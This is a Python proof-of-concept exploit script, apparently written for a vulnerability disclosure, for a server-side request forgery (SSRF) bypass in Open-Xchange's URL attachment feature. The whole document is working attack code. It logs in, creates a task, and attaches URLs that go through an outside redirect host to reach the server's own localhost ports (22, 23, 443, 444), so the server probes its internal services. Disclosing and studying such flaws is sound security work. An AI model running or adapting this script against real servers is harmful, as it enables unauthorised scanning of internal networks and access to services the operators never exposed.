SSRF - URL Attachments Bypass

pwn-urlatt-redir.py

import json
import requests
import sys

HOST = 'https://sandbox.open-xchange.com'
USERNAME = '[email protected]'
PASSWORD = 'secret'

PORTS = [22, 23, 443, 444]

SESS = None
LOGIN = None
MODULE_ID = 4
FOLDER_ID = None
ATTACHED_ID = None


def login():
    parm = {
        'action': 'login'
    }
    data = {
        'name': USERNAME,
        'password': PASSWORD
    }
    resp = SESS.post(HOST + '/ajax/login', params=parm, data=data)
    return json.loads(resp.text)


def respdata(jsontext):
    obj = json.loads(jsontext)
    data = obj.get('data')
    if data is None:
        print(obj.get('error_desc', 'unknown error'))
    return data


def folders_list(content_type):
    parm = {
        'session': LOGIN['session'],
        'action': 'allVisible',
        'content_type': content_type,
        'columns': '1'  # id
    }
    resp = SESS.get(HOST + '/ajax/folders', params=parm)
    return respdata(resp.text)


def tasks_new(folder_id):
    parm = {
        'session': LOGIN['session'],
        'action': 'new',
    }
    data = {
        'folder_id': folder_id,
    }
    resp = SESS.put(HOST + '/ajax/tasks', params=parm, data=json.dumps(data))
    return respdata(resp.text)


def attachment_attach_url(module_id, folder_id, attached_id, url):
    parm = {
        'session': LOGIN['session'],
        'action': 'attach',
    }
    data = {
        'module': module_id,
        'folder': folder_id,
        'attached': attached_id,
        'datasource': {
            'identifier': 'com.openexchange.url.mail.attachment',
            'url': url
        }
    }
    resp = SESS.put(HOST + '/ajax/attachment', params=parm, data=json.dumps(data))
    return respdata(resp.text)


def attachment_document(module_id, folder_id, attached_id, attachment_id):
    parm = {
        'session': LOGIN['session'],
        'action': 'document',
        'module': module_id,
        'folder': folder_id,
        'attached': attached_id,
        'id': attachment_id
    }
    resp = SESS.get(HOST + '/ajax/attachment', params=parm)
    return resp.text


SESS = requests.Session()

print('login')
LOGIN = login()

print('find tasks folder')
folders = folders_list('tasks')
for folder in (folders.get('private', []) +
               folders.get('public', []) +
               folders.get('shared', [])):
    if folder[0].isdigit():
        FOLDER_ID = folder[0]
        break
else:
    sys.exit('cannot find tasks folder with numeric id')
print('folder id', FOLDER_ID)

print('create task')
task = tasks_new(FOLDER_ID)
print('task id', task['id'])
ATTACHED_ID = task['id']

print('create attachments')
for port in PORTS:
    url = 'http://localhost:%d/' % port
    print(url)

    url = 'http://hz.wz.cz/goto.php?url=%s' % url
    attid = attachment_attach_url(MODULE_ID, FOLDER_ID, ATTACHED_ID, url)
    if attid is not None:
        print('attachment id', attid)
        # print('attachment data')
        # attdoc = attachment_document(MODULE_ID, FOLDER_ID, ATTACHED_ID, attid)
        # print(attdoc)